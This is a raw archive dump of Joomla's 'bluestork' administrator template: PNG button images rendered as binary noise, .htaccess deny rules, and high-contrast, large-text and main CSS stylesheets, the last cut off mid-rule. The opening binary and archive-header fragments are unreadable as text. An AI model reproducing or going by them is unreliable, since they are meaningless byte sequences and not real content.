Jӵ/\sj//.templates/bluestork/images/j_button2_right.pngnuW+APNG  IHDROIDATx^ڱ0Q_ 2D1+KPq{CHW]'`Xd8N%˲}x<ʦ*B`iw}9;m}*R wrd]o,oS,q\c k t]4MRj6N(29\!=n!R*eaeYP~\VuIENDB`PK@y>\s%a22-templates/bluestork/images/j_button2_left.pngnuW+APNG  IHDROIDATx^A0L#2]ąpQ0 -89E>@~wy|>ӒЦq:VfmrPO}ەRH@:}ߏr0 @ b躮'C,| M ~&vp8/Ь+4MuWg!yz~]:qi*&[8(Ŭ!IENDB`PK@y>\)templates/bluestork/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)!templates/bluestork/css/.htaccessnuW+A Order allow,deny Deny from all PK@y>\^^(templates/bluestork/css/highcontrast.cssnuW+A/** * @package Joomla.Administrator * @subpackage templates.bluestork * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ body, div#sbox-content { font-size: 12px; font-weight: bold !important; color: #FFFFFF; background-color: #000000; } a:link, a:visited, a:active { color: #FFFFFF; text-decoration:underline; } a:hover { color: #FFFFFF; text-decoration:none; } #border-top.h_green { background: none } #border-top.h_green div { background: none } #border-top.h_green div div { background: none } #border-top.h_teal { background: none } #border-top.h_teal div { background: none } #border-top.h_teal div div { background: none } #border-top.h_cherry { background: none } #border-top.h_cherry div { background: none } #border-top.h_cherry div div { background: none } #border-top.h_blue { background: none } #border-top.h_blue div { background: none } #border-top.h_blue div div { background: none } table.adminform { background-color: #000; /* border: solid 1px #fff; */ } table.adminform tr.row0 { background-color: #f9f9f9; } table.adminform tr.row1 { background-color: #000000; } table.adminform th { color: #fff; } div#element-box, div#toolbar-box, div#element-box div.section-box { background: #000; } table.admintable td.key, table.admintable td.paramlist_key { background-color: #000; color: #fff; } #batch-access, #batch-category-id, #filter_search, .filter-search button, input.text-area-order, .filter-select .inputbox, .batch button, #limit, .adminformlist select, .adminformlist input, .adminformlist textarea, .adminformlist input.readonly, #jform_id, #batch-menu-id, #upload-file, #upload-submit, #folderview input#folderpath, #foldername, #folderview button, .panelform textarea, .panelform select, .panelform input, .panelform button, .contentpane button, .adminform button, .adminform textarea, .adminform input, .adminform select { background-color: #000; color: #fff; font-weight: bold; } .filter-search button:hover { background-color: #383838; } div.current span.spacer > span.text label, fieldset.adminform span.spacer > span.text label, fieldset.panelform span.spacer > span.text label { color: #fff; } div.toolbar-list a:hover, div.toolbar-list a:focus, div.toolbar-list a:active { color: #fff; } #border-bottom div, #border-bottom { background: none } #border-bottom div div { background: none; height: 11px; } legend { color: #fff; font-size: 14px; font-weight: bold; } div.header { color: #fff; } /* ---- Menu layout -------------------------- */ #header-box { border: 1px solid #ccc; background: #000000; } #menu li { border-left: 1px solid #fff; border-right: 1px solid #d8d8d8; } #menu li li { border: 0;} #menu ul { border: 0.1em solid #ccc; background: #000 ;font-weight: bold !important;} #menu ul li.node { background: transparent url(../images/j_arrow.png) no-repeat right 50%; font-weight: bold !important;} #menu ul li.separator { background: #000 url(../images/bg-menu.gif); height: 1px; } #menu a, #menu div { color: #ffffff; font-weight: bold !important; } #menu a:hover { color: #000; font-weight: bold !important; } #menu li.disabled a { color: #fff; } /* 1 level - hover */ #menu li.hover a { color:000; background-color: #e8e8e8; border-left: 1px solid #025a8d; border-right:1px solid #025a8d; margin: 0; font-weight: bold !important;} /* 2 level - normal */ #menu li.hover li a { color:000; background-color: transparent; border: 0 none; margin: 2px; font-weight: bold !important;} /* 2 level - hover */ #menu li.hover li.hover a { color:000; background-color: #e8e8e8; border: 1px solid #025a8d; margin: 1px; font-weight: bold !important; } /* 3 level - normal */ #menu li.hover li.hover li a { color:000; background-color: transparent; border: 0 none; margin: 2px;font-weight: bold !important; } /* 3 level - hover */ #menu li.hover li.hover li a:hover { color:000; background-color: #e8e8e8; border: 1px solid #025a8d; margin: 1px; font-weight: bold !important; } #submenu-box { background: #000; margin-bottom: 10px; } #submenu li a, #submenu span.nolink { color: #fff; } #submenu span.nolink { color: #999; } #submenu a.active, #submenu span.nolink.active { color: #fff; } table.adminlist { background-color: #000; color: #fff; } table.adminlist thead th { background: #000; color: #fff; } table.adminlist tbody tr { background-color: #000; } table.adminlist tbody tr.row1 { background: #000; } table.adminlist tbody tr.row0:hover td, table.adminlist tbody tr.row1:hover td { background-color: #000 ; } table.adminlist tbody tr td { background: #000; } table.adminlist tbody tr.row1 td { background: #000; } table.adminlist tfoot tr { color: #fff; } table.adminlist tfoot td, table.adminlist tfoot th { background-color: #000; } /* Panels */ .pane-sliders .panel h3 { background: #000; color: #fff} .pane-sliders .content { background: #000; } .pane-sliders .title { color: #fff; } #permissions-sliders ul#rules li h3.pane-toggler-down { color: #fff; } #permissions-sliders ul#rules .panel h3 , #permissions-sliders ul#rules, #permissions-sliders ul#rules ul, #permissions-sliders ul#rules .mypanel, div#position-icon.pane-sliders .icon { background: none repeat scroll 0 0 #000; } #permissions-sliders ul#rules table.group-rules th { background: none repeat scroll 0 0 #383838; color: #fff; } /* Tool tips */ .tip { background: none repeat scroll 0 0 #000; border: 1px solid #D4D5AA; color: #fff; } .tip-title { /* To do. New dark image */ /* background: url("../images/selector-arrow-contrast.png") no-repeat scroll 0 0 transparent; */ } #cpanel div.icon a { border: 1px solid #f0f0f0; color: #fff; background: #000; } #cpanel div.icon a:hover { color: #fff; background: #000; } #content-box { border-bottom: 1px solid #ccc; padding-bottom: 10px; background: #000; } div#element-box div.m, div#toolbar-box div.m, div#submenu-box div.m, form#weblink-form fieldset, form#item-form fieldset, fieldset.batch, tr.row1, div.width-30 fieldset, div.width-35 fieldset, div.width-40 fieldset, div.width-45 fieldset, div.width-50 fieldset, div.width-55 fieldset, div.width-60 fieldset, div.width-65 fieldset, div.width-70 fieldset, div.width-100 fieldset { background-color: #000; } table.adminlist thead th { border-right: 1px solid #fff; } table.adminlist { border-top: 1px solid #fff; } .mooTree_selected { background-color:#999999 !important; } /* System Standard Messages */ #system-message dd.message ul { background: #000 url(../images/notice-info.png) 4px center no-repeat;} /* System Error Messages */ #system-message dd.error ul { color: #fff; background: #000 url(../images/notice-alert.png) 4px top no-repeat; border-top: 3px solid #666; border-bottom: 3px solid #666;} /* System Notice Messages */ #system-message dd.notice ul { color: #fff; background: #000 url(../images/notice-note.png) 4px top no-repeat; border-top: 3px solid #666; border-bottom: 3px solid #666;} #system-message dd ul { color:#fff; } #menu li.disabled a { color:#acacac; } div.pagetitle h2 { color:#FFF; } .button2-left a, .button2-right a { color:#000; } .pane-toggler a, .pane-toggler-down a { text-decoration:none; } #submenu a:hover, #submenu a.active, #submenu span.nolink.active, table#acl-config th { background:none repeat scroll 0 0 #000000; } div.toolbar-list a { border:1px solid #000; } #folderframe, #mediamanager-form, body.contentpane, .manager { background: #000; } /* -- Codemirror Editor ----------- */ div.editor-border, div.CodeMirror-wrapping { background-color: #ffffff; } PK@y>\v  #templates/bluestork/css/textbig.cssnuW+A/** * @package Joomla.Administrator * @subpackage templates.bluestork * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ body, th, td { font-size: 14px; color: #000000; line-height: 150%; } div.pagetitle h2 { font-size: 26px; } #menu a, #menu div { font-size: 13px; line-height: 1.7em; } #menu ul a { font-size: 13px; line-height: 1.3em; } form label { font-size: 13px; } span.update-badge { top: -100px; }PK@y>\QH  $templates/bluestork/css/template.cssnuW+A@charset "UTF-8"; /** * @package Joomla.Administrator * @subpackage templates.bluestork * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt * */ /* ------------------------- COLOR PALETTE FOR BLUE STORK Dark blue color: #146295 RGB: 20/98/149 Med blue color: #025A8D RGB: 2/90/141 Light blue color: #70ace4 RGB: 112/172/228 Extra light blue color: #BED6FF RGB: 190/214/255 Orange color: #FC8F30 RGB: 252/143/48 Light grey color: #f7f7f7 RGB: 247/247/247 Medium grey color: #d7d7d7 RGB: 215/215/215 Dark grey color: #666666 RGB: 102/102/102 Border grey color: #CCCCCC RGB: 204/204/204 ----------------------------------------------------------*/ html { overflow-y: scroll; } body { margin: 10px; padding: 0; background: #fff; padding-bottom: 1px; font-size: 68.8%; /* Set base to 11px */ } body,td,th { font-family: Arial, Helvetica, sans-serif; } body#minwidth-body { height: 95%; min-width: 960px; } a,img { padding: 0; margin: 0; } img { border: 0 none; } .clr { clear: both; overflow: hidden; height: 0; } form { margin: 0; padding: 0; } h1 { margin: 0; padding-bottom: 8px; color: #025A8D; font-size: 1.818em; } h3 { font-size: 1.182em; } h4 { font-size: 1.182em; } * :focus, a:active { outline: none; } a:link { color: #025A8D; text-decoration: none; outline: none; } a:visited { color: #025A8D; text-decoration: none; outline: none; } a:hover { text-decoration: underline; } fieldset { margin-bottom: 10px; border: 1px #ccc solid; padding: 5px; text-align: left; } legend { color: #146295; font-size: 1.182em; font-weight: bold; } input, select { font-size: 0.909em; border: 1px solid silver; background: #fff; } textarea { font-size: 1.273em; border: 1px solid silver; } iframe { border: 0; } .invalid { color: red; font-weight: bold; } input.invalid { border: 1px solid red; } input.disabled { background-color: #F0F0F0; } input.button { cursor: pointer; } input:focus, select:focus, textarea:focus { background-color: #ffd; } .enabled, .success { color: green; font-weight: bold; } .disabled, p.error { color: red; font-weight: bold; } .protected { color: #999999; } p.warning { color: red; font-weight: bold; font-size: 1.091em; } p.nowarning { color: #333; font-weight: bold; font-size: 1.091em; } .allow, span.writable { color: green; } .deny, span.unwritable { color: red; } .none { color: #aaa; } .hide { display: none; } .hidebtn { border: 0; padding: 0;margin:0;width: 0;height: 0;} .hidelabeltxt { text-indent: -9999em; } .nowrap { white-space: nowrap; } /* -- OVERALL STYLES ----------------------------- */ /* Header */ #border-top.h_blue { background: url(../images/j_header_middle.png) repeat-x; height: 54px; -webkit-border-top-right-radius: 8px; -webkit-border-top-left-radius: 8px; -moz-border-radius-topleft: 8px; -moz-border-radius-topright: 8px; border-top-right-radius: 8px; border-top-left-radius: 8px; } #border-top .title, #border-top .title a { font-size: 1.364em; font-weight: bold; color: #fff; line-height: 44px; padding-left: 14px; } #border-top .logo { display: block; width: auto; float: right; padding: 7px 10px 0 0; } #header-box { border: 1px solid #ccc; background: #f0f0f0; } /* Footer */ #footer .copyright { margin: 10px; text-align: center; line-height: 160%; } p.footer-tip { margin-top: 15px; } /* Body */ #content-box { border: 1px solid #ccc; border-top: 0; float: left; width: 99.85%; border-bottom-left-radius: 10px; border-bottom-right-radius: 10px; margin-bottom: 5px; } #element-box { margin-bottom: 11px; } #element-box, #toolbar-box, #submenu-box { padding: 10px 10px 0 10px; } #toolbar-box { background: #fbfbfb; margin-bottom: 10px; } #toolbar-box .m { background: #f4f4f4; min-height: 48px; } #submenu-box { margin-bottom: 10px; } #submenu-box .padding { padding: 0; } /* -- STATUS STYLES ----------------------------- */ #module-status { float: right; } #module-status > span { display: block; float: left; line-height: 16px; padding: 4px 10px 0 22px; margin-bottom: 5px; } #module-status .viewsite { background: url(../images/menu/icon-16-viewsite.png) 3px 4px no-repeat; } #module-status .preview { background: url(../images/menu/icon-16-media.png) 3px 3px no-repeat; } #module-status .unread-messages, #module-status .no-unread-messages { background: url(../images/menu/icon-16-messages.png) 3px 3px no-repeat; } #module-status .unread-messages a { font-weight: bold; } #module-status .loggedin-users { background: url(../images/menu/icon-16-user.png) 3px 3px no-repeat; } #module-status .backloggedin-users { background: url(../images/menu/icon-16-back-user.png) 3px 3px no-repeat; } #module-status .multilanguage { background: url(../images/menu/icon-16-language.png) 3px 3px no-repeat; } #module-status .logout { background: url(../images/menu/icon-16-logout.png) 3px 3px no-repeat; } #module-unread-new span { color: red; text-decoration: none; font-weight: bold; } #module-unread span { color: black; text-decoration: none; } #module-unread img, #module-unread-new img { border: 0; } span.stat-notice { font-weight: bold; } div.noparams-notice { text-align: center; padding: 5px; } p.noparams { padding: 20px 15px; } p.noresults { padding: 20px 15px; } span.adminlist-searchstatus a { padding-left: 20px; } /* -- MISC. STYLES ----------------------------- */ span.note { display: block; background: #ffd; padding: 5px; color: #666; } .previewframe { border: none; width: 98%; height: 600px; padding: 0 5px 0 10px; } textarea#codeedit { width: 100%; height: 500px; } .temprev { width: 100%; border: 1px solid #d7d7d7; margin: 0; padding: 0; background: #fff; } textarea#extrainfo, textarea#message { width: 90%; } .pre_message { font-size: 1.3em; } /* -- OVERLIB STYLES ----------------------------- */ .ol-foreground { background-color: #ffe; } .ol-background { background-color: #6db03c; } .ol-textfont { font-family: Arial, Helvetica, sans-serif; font-size: 0.909em; color: #666; } .ol-captionfont { font-family: Arial, Helvetica, sans-serif; font-size: 1em; color: #fff; font-weight: bold; } .ol-captionfont a { color: #0b5fc6; text-decoration: none; } /* -- TOOLBAR STYLES ----------------------------- */ /* Page titles */ div.pagetitle { padding-left: 60px; background-repeat: no-repeat; margin-left: 10px; } div.pagetitle h2 { line-height: 48px; font-size: 2em; font-weight: bold; color: #146295; margin: 0; padding: 0; } div.pagetitle span { color: #666; } /* Modal header */ div.configuration { font-size: 1.364em; font-weight: bold; color: #146295; padding-left: 30px; margin-left: 10px; padding-top: 4px; background: url(../images/menu/icon-16-config.png) 0 6px no-repeat; } /* Main toolbars */ div.toolbar-list { float: right; text-align: right; padding: 0; } div.toolbar-list ul { margin: 0; padding: 0; } div.toolbar-list li { padding: 1px 1px 3px 4px; text-align: center; color: #666; height: 48px; list-style: none; float: left; } div.toolbar-list li.spacer { width: 10px; } div.toolbar-list li.divider { border-right: 1px solid #c7c7c7; width: 2px; } div.toolbar-list span { float: none; width: 32px; height: 32px; margin: 0 auto; display: block; } div.toolbar-list a { display: block; float: left; white-space: nowrap; border: 1px solid #F4F4F4; padding: 1px 5px; cursor: pointer; } div.toolbar-list a:hover, div.toolbar-list a:focus, div.toolbar-list a:active { border-left: 1px solid #eee; border-top: 1px solid #eee; border-right: 1px solid #ccc; border-bottom: 1px solid #ccc; text-decoration: none; color: #0B55C4; } /* -- MASSMAIL STYLES ----------------------------- */ td#mm_pane { width: 90%; } input#mm_subject { width: 200px; } textarea#mm_message { width: 100%; } /* -- PANE SLIDER STYLES ----------------------------- */ .pane-sliders { margin: 18px 0 0 0; position:relative; } .pane-sliders .title { margin: 0; padding: 2px 2px 2px 5px; color: #666; cursor: pointer; } #content-pane { margin: 8px 10px 15px 15px; } .pane-sliders .panel { margin-bottom: 3px; border:solid 1px #ccc; } .pane-sliders .panel h3 { background: #fafafa; color: #666; } .pane-sliders .content { background: #fff; } .pane-sliders .adminlist { border: 0 none; font-size: 1em; } .pane-sliders .adminlist td { border: 0 none; } .pane-toggler span { background: transparent url(../images/j_arrow.png) 5px 50% no-repeat; padding-left: 20px; } .pane-toggler-down span { background: transparent url(../images/j_arrow_down.png) 5px 50% no-repeat; padding-left: 20px; } .pane-toggler-down { border-bottom: 1px solid #ccc; } h3.pane-toggler-down a:hover, h3.pane-toggler a:hover { text-decoration: none; } .pane-slider.pane-hide { display: none; } .pane-slider ol li { list-style: none; margin-left: -25px; margin-top: 10px; } input#jformparams_link_titles1, input#jformparams_show_title1, input#jformparams_link_category1 { margin-left: 13px; } div#position-icon.pane-sliders div.pane-down div.icon-wrapper { margin: 5px 0 5px 0; } div#position-icon.pane-sliders div.pane-down .icon-wrapper .icon { padding: 5px 0 5px 10px; margin: 0; } div#position-icon.pane-sliders .icon { background: #fff; } /* -- TAB STYLES ----------------------------- */ dl.tabs { float: left; margin: 10px 0 -1px 0; z-index: 50; } dl.tabs dt { float: left; padding: 4px 10px; border: 1px solid #ccc; margin-left: 3px; background: #e9e9e9; color: #666; } dl.tabs dt.open { background: #F9F9F9; border-bottom: 1px solid #f9f9f9; z-index: 100; color: #000; } div.current { clear: both; border: 1px solid #ccc; padding: 10px 10px; } div.current dd { padding: 0; margin: 0; } dl#content-pane.tabs { margin: 1px 0 0 0; } div.current label, div.current span.faux-label { display: block; min-width: 150px; float: left; clear: left; margin-top: 8px; } div.current fieldset { border: none 0; } div.current fieldset.adminform { border: 1px #ccc solid; } div.current fieldset.radio { float: left; } div.current fieldset.radio input { clear: none; min-width: 15px; float: left; margin: 3px 0 0 2px; } div.current fieldset.radio label { clear: none; min-width: 45px; float: left; margin: 3px 0 0 5px; } div.current fieldset.checkboxes { float: left; clear: right; } div.current fieldset.checkboxes input { clear: left; min-width: 15px; float: left; margin: 3px 0 0 2px; } div.current fieldset.checkboxes label { clear: right; min-width: 45px; margin: 3px 0 0 5px; } div.current input, div.current textarea, div.current select { clear: none; float: left; margin: 3px 0 0 2px; } div.current select { margin-bottom: 15px; } p.tab-description { font-size: 1.091em; margin-left: 0; margin-top: 5px; } /* ACL panels */ div.acl-options div.current { width: auto; } div.current table#acl-config th.acl-groups { text-align: left; } li.acl-editgroups, li.acl-resetbtn { display:block; float:left; margin:14px !important; width:auto; background:none repeat scroll 0 0 #FFFFFF; border:1px solid #CCCCCC; text-decoration:none; font-size: .909em; padding: 3px !important; } li.acl-editgroups:hover, li.acl-resetbtn:hover { background:none repeat scroll 0 0 #E8f6f3; border:1px solid #AAA; cursor:pointer; } /* -- CONTROL PANEL STYLES ----------------------------- */ .cpanel div.icon, #cpanel div.icon { text-align: center; margin-right: 15px; float: left; margin-bottom: 15px; } .cpanel div.icon a, #cpanel div.icon a { background-color: #fff; background-position: -30px; display: block; float: left; height: 97px; width: 108px; color: #565656; vertical-align: middle; text-decoration: none; border: 1px solid #CCC; -webkit-border-radius: 5px; -moz-border-radius: 5px; border-radius: 5px; -webkit-transition-property: background-position, -webkit-border-bottom-left-radius, -webkit-box-shadow; -moz-transition-property: background-position, -moz-border-radius-bottomleft, -moz-box-shadow; -webkit-transition-duration: 0.8s; -moz-transition-duration: 0.8s; } #cpanel div.icon a:hover, #cpanel div.icon a:focus, #cpanel div.icon a:active, .cpanel div.icon a:hover, .cpanel div.icon a:focus, .cpanel div.icon a:active { background-position: 0; -webkit-border-bottom-left-radius: 50% 20px; -moz-border-radius-bottomleft: 50% 20px; border-bottom-left-radius: 50% 20px; -webkit-box-shadow: -5px 10px 15px rgba(0, 0, 0, 0.25); -moz-box-shadow: -5px 10px 15px rgba(0, 0, 0, 0.25); box-shadow: -5px 10px 15px rgba(0, 0, 0, 0.25); position: relative; z-index: 10; } #cpanel img, .cpanel img { padding: 10px 0; margin: 0 auto; } #cpanel span, .cpanel span { display: block; text-align: center; } div.cpanel-left { width: 54%; float: left; } div.cpanel-right { width: 45%; float: right; } /* -- FORM STYLES ----------------------------- */ /* Standards for commonly used elements */ div.width-20 {width: 20%;} div.width-30 {width: 30%;} div.width-35 {width: 35%;} div.width-40 {width: 40%;} div.width-45 {width: 45%;} div.width-50 {width: 50%;} div.width-55 {width: 55%;} div.width-60 {width: 60%;} div.width-65 {width: 65%;} div.width-70 {width: 70%;} div.width-80 {width: 80%;} div.width-100 {width: 100%;} .clrlft {clear: left;} .clrrt {clear: right;} .fltlft {float: left;} .fltrt {float: right;} .fltnone {float: none;} div.width-20 fieldset, div.width-30 fieldset, div.width-35 fieldset, div.width-40 fieldset, div.width-45 fieldset, div.width-50 fieldset, div.width-55 fieldset, div.width-60 fieldset, div.width-65 fieldset, div.width-70 fieldset, div.width-80 fieldset, div.width-100 fieldset { background-color: #fff; padding: 5px 17px 17px 17px; } /* Administrator forms, lists */ fieldset.adminform { margin: 10px; overflow: hidden; } fieldset.adminform legend { margin: 0; padding: 0; } ul.adminformlist, ul.adminformlist li { margin: 0; padding: 0; list-style: none; } fieldset label, fieldset span.faux-label { float: left; clear: left; display:block; margin: 5px 0; } fieldset ul { margin: 0; padding: 0; } form label, form span.faux-label { font-size: 1.091em; } fieldset input, fieldset textarea, fieldset select, fieldset img, fieldset button { float: left; width: auto; margin: 5px 5px 5px 0; } fieldset.adminform textarea { width: 355px; } fieldset ul.checklist input { clear: left; margin-right: 10px; } fieldset ul.checklist label, fieldset ul.menu-links label, fieldset#filter-bar label { clear: none; } fieldset.adminform ul.checklist li { width: 100%; margin: 0; padding: 0; } fieldset.adminform ul.checklist li label { width: auto; } input.readonly { font-family: Arial, Helvetica, sans-serif; font-size: 1.091em; padding-top: 1px; border: 0; font-weight: bold; color: #666; } #jform_id, span.readonly { font-family: Arial, Helvetica, sans-serif; font-size: 1.091em; margin:5px 5px 5px 0; font-weight: bold; float: left; display:block; color: #666; } #jform_params_alt, #jform_clickurl { width: 355px; } #jform-imp { width: 70px; } .mod-desc { margin-left: 135px !important; float: none !important;} input.readonly { background-color: #ffffff; } #jform_params_width, #jform_params_height, #jform_params_increase, #jform_params_shownumber, #jform_params_count { width: 50px; } #jform_id { width: 50px; background-color:#FFFFFF; border: 0 none; } input#jform_title, input#jform_leveltitle, input#jform_grouptitle { font-size: 1.364em; } label#jform_title-lbl, label#jform_leveltitle-lbl, label#jform_grouptitle-lbl { padding-top: 3px; } div#content-pane fieldset { border: 0; padding: 10px 15px 0 15px; } div.panel fieldset { border: 0; } /* Required elements */ input.required { background-color: #d5eeff; } .star { color:#EB8207; font-size:1.2em; } /* -------- Batch Section ---------- */ fieldset.batch { margin: 20px 0 10px 0; background: #fff; padding: 10px; } fieldset.batch label { margin: 5px; min-width: 40px; } fieldset.batch button { margin: 3px; } fieldset#batch-choose-action { clear: left; border: 0 none; } fieldset.batch label { float: left; clear: none; } fieldset label#batch-choose-action-lbl { clear: left; margin-top: 15px; } label#batch-language-lbl, label#batch-user-lbl { clear: left; margin-right: 10px; margin-top: 15px; } select#batch-language-id, select#batch-user-id { margin-top: 15px; } select#batch-category-id, select#batch-menu-id, select#batch-position-id { margin-right: 30px; } label#batch-access-lbl, label#batch-client-lbl { margin-right: 10px; } /* -------- Menu Assigments ---------- */ div#menu-assignment { clear:left; } div#menu-assignment input, div#menu-assignment h3 { clear:left; padding-bottom: 0; margin-bottom: 0; } div#menu-assignment ul.menu-links { float:left; width:49%; } div#menu-assignment ul.menu-links li:last-child label { margin-bottom: 20px; } fieldset.adminform .menu-links label { white-space:nowrap; } fieldset.adminform .menu-links input { margin: 8px 5px 0 0; } button.jform-rightbtn { float:right; margin-right: 0; } #jform_impmade, #jform_clicks { width: 30px; } /* Field label widths - long label */ fieldset.adminform.long label, fieldset.adminform.long span.faux-label { min-width: 180px; } /* Field label widths - short label */ fieldset.adminform label, fieldset.adminform span.faux-label { min-width: 135px; padding: 0 5px 0 0; } fieldset.panelform { overflow: hidden; clear: both; } fieldset.panelform label, fieldset.panelform div.paramrow label, fieldset.panelform span.faux-label { min-width: 145px; max-width: 250px; padding: 0 5px 0 0; } /* One-offs */ /* Field label widths - medium label */ label#userparamsallowUserRegistration-lbl, label#userparamsnew_usertype-lbl, label#userparamsuseractivation-lbl, label#userparamsfrontend_userparams-lbl, label#jform_MetaDesc-lbl { min-width: 180px; } /* Field label widths - long label */ label#paramsusermode-lbl, label#paramsphishing-resistant-lbl, label#paramsmulti-factor-lbl, label#paramsmulti-factor-physical-lbl, paramslang_mode-lbl { min-width: 200px; } div.jform_mod_title, div.jform_na { margin-top: 5px; float: left; } div#jform_template, div#jform_template-desc { float: left; padding-right: 5px; padding-top: 5px; font-size: 1.091em; } div#jform_template-desc { padding-top: 3px; } input#description { margin-top: 3px; } th.col1template { width: 210px; } div.editor-border { border: 1px solid #CCCCCC; } fieldset p { margin: 0 0 15px 0; font-size: 1.091em; } ul#overviewlist,ul#paramlist { clear: both; font-size: 1.091em; padding-top: 5px; } ul#overviewlist li { list-style-type: none; margin-left: -40px; margin-bottom: 15px; min-width: 140px; } ul#paramlist li { list-style-type: none; margin-left: -40px; margin-bottom: 5px; } li#jform_menutype_label, li#jform_parentid_label, li#jform_published_label, li#jform_access_label { float: left; clear: left; } fieldset.adminform fieldset.radio, fieldset.panelform fieldset.radio, fieldset.adminform-legacy fieldset.radio { border: 0; float: left; padding: 0; margin: 0 0 5px 0; /* clear: right; */ } fieldset.adminform fieldset.radio label, fieldset.panelform fieldset.radio label { min-width: 60px; padding-left: 0; padding-right: 10px; float: left; clear: none; /*width: 40px;*/ display:inline; } /* checkboxes */ fieldset.adminform fieldset.checkboxes, fieldset.panelform fieldset.checkboxes, fieldset.adminform-legacy fieldset.checkboxes { border: 0; float:left; padding: 0; margin: 0 0 5px 0; clear:right; } fieldset.adminform fieldset.checkboxes input[type="checkbox"], fieldset.panelform fieldset.checkboxes input[type="checkbox"] { float: left; clear: left; } fieldset.adminform fieldset.checkboxes label, fieldset.panelform fieldset.checkboxes label, fieldset.adminform fieldset.checkboxes span.faux-label, fieldset.panelform fieldset.checkboxes span.faux-label { clear: right; } /* end checkboxes */ /* spacer */ div.current span.spacer > span.before, fieldset.adminform span.spacer > span.before, fieldset.panelform span.spacer > span.before { clear: both; overflow: hidden; height: 0; display: block; } div.current span.spacer > span.text label , fieldset.adminform span.spacer > span.text label , fieldset.panelform span.spacer > span.text label { white-space: nowrap; font-weight: bold; color: #666; } /* end spacer */ fieldset.panelform-legacy label, fieldset.adminform-legacy label { min-width: 150px; float: left; } /* JParameter classes on radio button labels */ fieldset.panelform-legacy label.radiobtn-jno, fieldset.panelform-legacy label.radiobtn-jyes, fieldset.panelform-legacy label.radiobtn-show, fieldset.panelform-legacy label.radiobtn-hide, fieldset.panelform-legacy label.radiobtn-off, fieldset.panelform-legacy label.radiobtn-on { min-width: 40px !important; clear: none !important; } #jform_plugdesc-lbl, #jform_description-lbl { clear: both; margin-top: 15px; } p.jform_desc { clear: left; } div#jform_ordering { font-size: 1.091em; margin-top: 3px; } fieldset.filter { border: 0; margin: 0; padding: 0 0 5px; } fieldset.filter ol { border: 0; list-style: none; margin: 0; padding: 5px 0 0; } fieldset.filter ol li { float: left; padding: 0 5px 0 0; } fieldset.filter ol li fieldset { border: 0; margin: 0; padding: 0; } fieldset.filter .left { float: left; } fieldset.filter .right { float: right; } fieldset.filter .right select { margin-left: 10px; } fieldset#filter-bar { min-height: 35px; border: 0; border-bottom: 1px solid #d5d5d5; } label.filter-search-lbl { margin-left: 5px; } label.filter-hide-lbl { margin-left: 5px; clear: none; } div.filter-select input, div.filter-select select { margin-left: 5px; margin-right: 5px; } button.filter-go { float: left; margin-right: 15px; } label.filter-published-lbl { clear: none; margin-left: 10px; } table.adminform { background-color: #fff; border: solid 1px #d5d5d5; width: 100%; border-collapse: collapse; margin: 8px 0 10px 0; margin-bottom: 15px; } table.adminform tr.row0 { background-color: #f9f9f9; } table.adminform tr.row1 { background-color: #eeeeee; } table.adminform th { font-size: 1.091em; padding: 6px 2px 4px 4px; text-align: left; height: 25px; color: #000; background-repeat: repeat; } table.adminform td { padding: 5px; text-align: left; font-size: 1.091em; } table.adminform td.filter { text-align: left; } table.adminform td.helpMenu { text-align: right; } table#template-mgr td { padding: 15px 0; } table#template-mgr td p { margin: 3px; } td.template-name a { padding-left: 15px; font-weight: bold; } .helplinks { margin-top: 60px; } ul.helpmenu li { float: right; margin: 10px; padding: 0; list-style-type: none; } input.text-area-order { text-align: center; margin-right: 5px; } fieldset.uploadform label { clear: left; min-width: 100px; } span.gi { color: #d7d7d7; font-weight: bold; margin-right: 5px; } span.gtr { visibility:hidden; margin-right: 5px; } ul#legend li { float: left; margin: 20px; list-style-type: none; } #jform_params_target { width: 190px;} /* Adminlist grids */ table.adminlist { width: 100%; border-spacing: 1px; background-color: #f3f3f3; color: #666; } table.adminlist td, table.adminlist th { padding: 4px; } table.adminlist td {padding-left: 8px;} table.adminlist thead th { text-align: center; background: #f7f7f7; color: #666; border-bottom: 1px solid #CCC; border-left: 1px solid #fff; } table.adminlist thead th.left { text-align: left; } table.adminlist thead a:hover { text-decoration: none; } table.adminlist thead th img { vertical-align: middle; padding-left: 3px; } table.adminlist tbody th { font-weight: bold; } table.adminlist tbody tr { background-color: #fff; text-align: left; } table.adminlist tbody tr.row0:hover td, table.adminlist tbody tr.row1:hover td { background-color: #e8f6fe; } table.adminlist tbody tr td { background: #fff; border: 1px solid #fff; } table.adminlist tbody tr.row1 td { background: #f0f0f0; border-top: 1px solid #FFF; } table.adminlist tfoot tr { text-align: center; color: #333; } table.adminlist tfoot td,table.adminlist tfoot th { background-color: #f7f7f7; border-top: 1px solid #999; text-align: center; } table.adminlist td.order { text-align: center; white-space: nowrap; width: 200px; } table.adminlist td.order span { float: left; width: 20px; text-align: center; background-repeat: no-repeat; height: 13px; } table.adminlist .pagination { display: inline-block; padding: 0; margin: 0 auto; } /* Tree indentation & nesting - Up to 10 levels deep so don't go crazy :) */ table.adminlist td.indent-4 { padding-left: 4px; } table.adminlist td.indent-19 { padding-left: 19px; } table.adminlist td.indent-34 { padding-left: 34px; } table.adminlist td.indent-49 { padding-left: 49px; } table.adminlist td.indent-64 { padding-left: 64px; } table.adminlist td.indent-79 { padding-left: 79px; } table.adminlist td.indent-94 { padding-left: 94px; } table.adminlist td.indent-109 { padding-left: 109px; } table.adminlist td.indent-124 { padding-left: 124px; } table.adminlist td.indent-139 { padding-left: 139px; } table.adminlist tr td.btns a { text-decoration: underline; } /* -- TABLE STYLES ----------------------------- */ div#element-box div.m form table.adminlist tr td a { font-size: 1.1em; } div#element-box div.m form table.adminlist tr td div.button2-left.smallsub a { font-size: 1em; } div#element-box div.m form table.adminlist tr td p.smallsub a, div#element-box div.m div.pane-slider form table.adminlist a { font-size: 1em; } p.smallsub { margin: 3px 0 0; } p.smallsub span { color: #a0a0a0; } .pagination div.limit { float: left; height: 22px; line-height: 22px; margin: 0 10px; } .pagination div.limit select#limit { width: 50px; } p.mod-purge-instruct { margin-top: 20px; } div.checkin-tick { background: url(../images/admin/tick.png) 20px 50% no-repeat; text-indent: -9999px; } td.left, th.left { text-align: left; } td.center, th.center, .center { text-align: center; float: none; } td.center 